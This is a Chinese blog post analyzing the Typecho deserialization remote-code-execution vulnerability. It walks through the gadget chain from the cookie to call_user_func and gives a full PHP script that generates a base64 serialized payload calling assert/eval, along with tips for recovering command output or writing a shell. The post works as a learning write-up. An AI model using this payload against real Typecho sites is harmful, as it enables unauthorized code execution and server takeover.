xiaoxiong's blog Thinking and Action

typecho 反序列化学习


typecho 反序列化学习

typecho 是一个个人博客程序,前段时间爆出了一个反序列化getshell漏洞,漏洞很经典,所以从技术角度通过typecho漏洞来学习和记录一下php反序列化。

漏洞分析

如果发现了反序列化的漏洞点,很容易绕过前面的限制, TODO,来找一下如何对漏洞进行利用,如图是两个反序列化进行的地方,可以看到是从Cookie中取出typecho_config的值。然后base64解码,在进行反序列化操作。

所以现在有:

  1. 有反序列化函数
  2. 可控的输入

理解exp构造流程

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

config被Typecho_Db调用一次,addServer再调用一次

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

分别有字符串拼接和生成对象。对toString继续进行跟踪

Typecho/Feed.php中有对$item['xxx'],$item['xxx']->yyy,$this->xxx等形式

在调用对象未定义或不可见的类属性或者方法时,会调用重载方法(php专属重载和其他语言不一样),如上对对象未定义或不可见的类属性时进行取值,会调用__get()方法,

对get方法进行搜索在typecho/Request类中调用了_applyFilter($value)在这个方法中使用call_user_funccall_user_func($filter, $value)

完整exp

  1. 构造typecho/Request对象,参数_filter_params中含有call_user_func命令执行 函数 取$item[‘author’]就是typecho/Request对象
  2. 构造typecho/Feed对象$adapterName = 'Typecho_Db_Adapter_' . $adapterName调用了typecho/Feed的toString对象
  3. 构造referer和typecho_config等参数
  4. 构造exp需要注意一点:开启了ob_start的话会让脚本没有回显,同时我们的exp会触发自有的exception,调用了ob_end_clean方法清空了缓冲区,虽然会执行但是没有回显,有效解决方法,1.通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来,2.在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来,3.写一个文本shell

php生成typecho_config代码如下

<?php
class Typecho_Request
{
	private $_params = array('screenName' =>'eval(\'phpinfo();exit();\')');
	private $_filter = array('assert');
	
}
$payload_request = new Typecho_Request();

class  Typecho_Feed
{	
	private $_type = 'RSS 2.0';
	private $_items ;	
	
	public function __construct	($payload_request){
		$this->_items[] = array('author' => $payload_request);
	}
}

$payload_Feed = new Typecho_Feed($payload_request);
$payload['adapter'] = $payload_Feed;
echo base64_encode(serialize($payload));
?>

ROP寻找思路

$config 是可控的反序列参数,1.寻找__destruct()__wakeup()这两个方法中的危险函数。 2.按代码执行继续寻找

new	Typecho_Db($config['adapter'], $config['prefix']);

在Typecho_Db构造函数中寻找危险操作

$adapterName = 'Typecho_Db_Adapter_' . $adapterName; //字符串拼接
$this->_adapter = new $adapterName();   //构造新对象

寻找__toString(),和__construct()魔术化方法中危险操作

Typecho/Config.php   serialize($this->_currentConfig)//对对象进行序列化  
Typecho/Db/Query.php  //字符串拼接等操作
Typecho/Feed.php  this->xxx, $item['author']->screenName,$item['author']

serialize会调用__sleep()魔术方法,当取类中未定义或者不可访问成员时会调用__get()方法

class Typecho_Config implements Iterator
class IXR_Client
class Typecho_Plugin
class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do
class Typecho_Date
class Typecho_Request
abstract class Typecho_Widget
class Typecho_Widget_Helper_Layout

这些类中都有__get方法,进行深搜等操作

public function __get($key)
{
    return $this->get($key);
}

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

 private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

最后调用了危险函数 call_user_func, 能够进行任意命令执行等操作

PHP魔术方法

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

参考链接

  1. php反序列化总结
  2. 360cert typecho漏洞分析
  3. typecho漏洞分析1
  4. php魔术方法官方文档
  5. php重载官方文档
  6. 很基础的反序列化漏洞讲解

补充

toString使用的特殊场景

ph0神小密圈总结小tips:

对象tostring 被触发 常见的4个:

  1. echo($obj) / print($obj) 将其打印出来的时候
  2. “I am {$obj}” / ‘test ‘ . $obj 字符串连接
  3. sprintf(“I am %s”, $obj) 格式化字符串
  4. if($obj == ‘admin’) 与字符串进行==比较的时候(从此也可以印证,PHP进行==比较的时候会转换参数类型)

2个有趣的:

  1. 格式化SQL语句,绑定参数的时候会被调用,见图1
  2. in_array($obj, ['admin', 'guest']),数组中有字符串的时候会被调用,见图2

in_array($obj, ['admin', 'guest'])其实和if($obj == 'admin')类似,原因是in_array的时候PHP会将$obj和数组中的每个参数进行==比较。 如果把第4个的==改成===,或者把in_array的第三个参数改成true,那么就不会进行类型转换了,也就不会调用__toString。 同理,switch case和in_array也一样。


Comments